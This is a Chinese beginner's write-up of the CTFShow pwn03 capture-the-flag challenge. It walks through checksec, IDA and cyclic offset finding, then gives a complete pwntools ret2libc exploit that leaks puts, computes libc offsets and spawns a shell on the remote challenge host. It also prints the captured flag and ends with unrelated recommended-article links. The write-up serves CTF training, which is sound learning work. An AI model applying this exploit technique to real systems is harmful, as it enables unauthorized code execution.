CTFSHOW pwn03 WrriteUp
本文来自一个初学CTF的小白,如有任何问题请大佬们指教!
题目来源
CTFShow pwn - pwn03 (ret2libc)
https://ctf.show/challenges
思路
1.下载题目放到checksec先查一下

2.IDA打开题目

Shift + F12查看字符串发现没有system和/bin/sh,但是有libc文件。
3.用gdb的cyclic查询一下溢出所需要的大小
cyclic用法:
1.先用cyclic 40生成一段字符串:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
2.gdb运行程序,输入字符串
3.cyclic -l 【错误地址】获得溢出所需数据量为13
4.写exp
点击查看代码
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28270)
elf = ELF('stack1')
context.log_level = 'debug'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = 0x080483C0
payload1 = b'A'*13 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
io.sendlineafter(b'32bits\n',payload1)
io.recv()
leak_addr = u32(io.recv(4))
print(hex(leak_addr))
libc_base_addr = leak_addr - 0x67360
system_addr = 0x3cd10 + libc_base_addr
bin_sh_addr = libc_base_addr + 0x17b8cf
payload2 = b'B'*13 + p32(system_addr) + p32(1234) + p32(bin_sh_addr)
io.sendlineafter(b'32bits\n',payload2)
io.interactive()
5.得到flag
ctfshow{fad8c27d-13de-4e58-b0bc-8ad69859693e}
本题注意
1.题目第一次输出有一个换行符,需要p.recv()接收掉这个换行符,第二次recv到的前四个字节就是泄露出来的puts函数地址
2.本地运行时程序的libc使用的是本地/lib/i386-linux-gnu/libc.so.6这个位置的,而远程的libc是老版本的ubuntu的,所以你在打本地写的脚本与打远程的脚本两者偏移是不一样的
CTFSHOW pwn03 WrriteUp的更多相关文章
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
- 关于CTFshow中Web入门42-54
0x00前记 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...
- c通过ctfshow学习php反序列化
web254 web255 web256 web257 web258 web259 web260 web262 web263 web264 web265 web266 web254 error_rep ...
- ctfshow——web_AK赛
签到_观己 从题目描述中没发现什么有用的信息 发现文件包含 尝试使用PHP伪协议执行命令,发现无法执行 尝试使用远程文件包含,发现也未开启 尝试使用日志注入 记录了UA值,抓包写入一句话木马 使用蚁剑 ...
- ctfshow WEB入门 信息收集 1-20
web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...
- ctfshow萌新 web1-7
ctfshow萌新 web1 1.手动注入.需要绕过函数inval,要求id不能大于999且id=1000,所以用'1000'字符代替数字1000 2.找到?id=" "处有回显 ...
- ctfshow web2 web3
ctfshow web2 1.手动注入题.先用万能密码admin' or 1=1%23,有回显 2.union select注入,2处有回显 3.依次查找数据库.表.字段 得到flag ctfshow ...
- ctfshow web入门部分题目 (更新中)
CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...
- CTFshow——funnyrsa1的wp理解
题目如下: 题目分析: 拿到题,发现给的e不常规,p1和p2相等,有两个不同n,两个不同c和两个不同e.给定两个密文的情况下,通常需要找到两者之间存在的关系,"合并"密文求解才能得 ...
- CTFshow刷题记录
整理的一些ctf题目 WEB题 ctfshow 年CTF 除夕 题目要求通过get传入year参数然后进行判断是否成立,成立就返回flag 这里可以用科学计数法表示通过get传入year=2.022e ...
随机推荐
- Gradle的安装和创建java项目(idea)
安装 Gradle下载地址:http://services.gradle.org/distributions/ 下载后解压. 解压后的目录结结构如下: 新增环境变量 在path环境变量中添加以下内容: ...
- 《最新出炉》系列初窥篇-Python+Playwright自动化测试-59 - 判断元素是否显示 - 上篇
1.简介 有些页面元素的生命周期如同流星一闪,昙花一现.我们也不知道这个元素在没在页面中出现过,为了捕获这一美好瞬间,让其成为永恒.我们就来判断元素是否显示出现过. 在操作元素之前,可以先判断元素的状 ...
- 对比python学julia(第四章:人工智能)--(第一节)OpenCV编程初步(3)
1.4. 人脸检测 (续上) 3.检测视频中的人脸 在VSCode环境中,新建一个空白源文件,以detect_video.jl作为文件名保存到项目文件夹中,然后编写程序检测视频流中的人脸(正脸).由 ...
- 【Java】Input,Output,Stream I/O流 03 系统标准流 & 打印流
Standard Input,Output Stream 标准输入输出流 - System.in 系统标准输入流 所属InputStream Scanner(System.in); 默认从键盘获取输入 ...
- Jupyter Lab和Jupyter Notebook的区别
JupyterLab与Jupyter Notebook:详细比较 简介 Jupyter Notebook是一个开源的Web应用程序,允许用户创建和共享包含实时代码.方程.可视化和解释性文本的文档.Ju ...
- Intel因特尔10700k CPU的核显驱动
下载地址: https://www.intel.cn/content/www/cn/zh/download/776137/intel-7th-10th-gen-processor-graphics-w ...
- Dolphinscheduler不重启加载Oracle驱动
转载自刘茫茫看山 问题背景 某天我们的租户反馈数据库连接缺少必要的驱动,我们通过日志查看确实是缺少部分数据库的驱动,因为DolphinScheduler默认只带了Oracle和MySQL的驱动,并且需 ...
- wifi基础(一):无线电波与WIFI信号干扰、衰减
liwen01 2024.08.18 前言 无论是在产品开发还是在日常生活中,在使用无线网络的时候,都会经常遇到一些信号不好的问题,也会产生不少疑问: 为什么我们在高速移动的高铁上网络会变慢? 为什么 ...
- Java——N以内累加求和
2024/07/15 1.题目 2.错误 3.分析 4.答案 1.题目 2.错误 import java.util.Scanner; public class Main { public static ...
- 金融、支付行业的开发者不得不知道的float、double计算误差问题
为什么浮点数 float 或 double 运算的时候会有精度丢失的风险呢? <阿里巴巴 Java 开发手册>中提到:"浮点数之间的等值判断,基本数据类型不能用 == 来比较,包 ...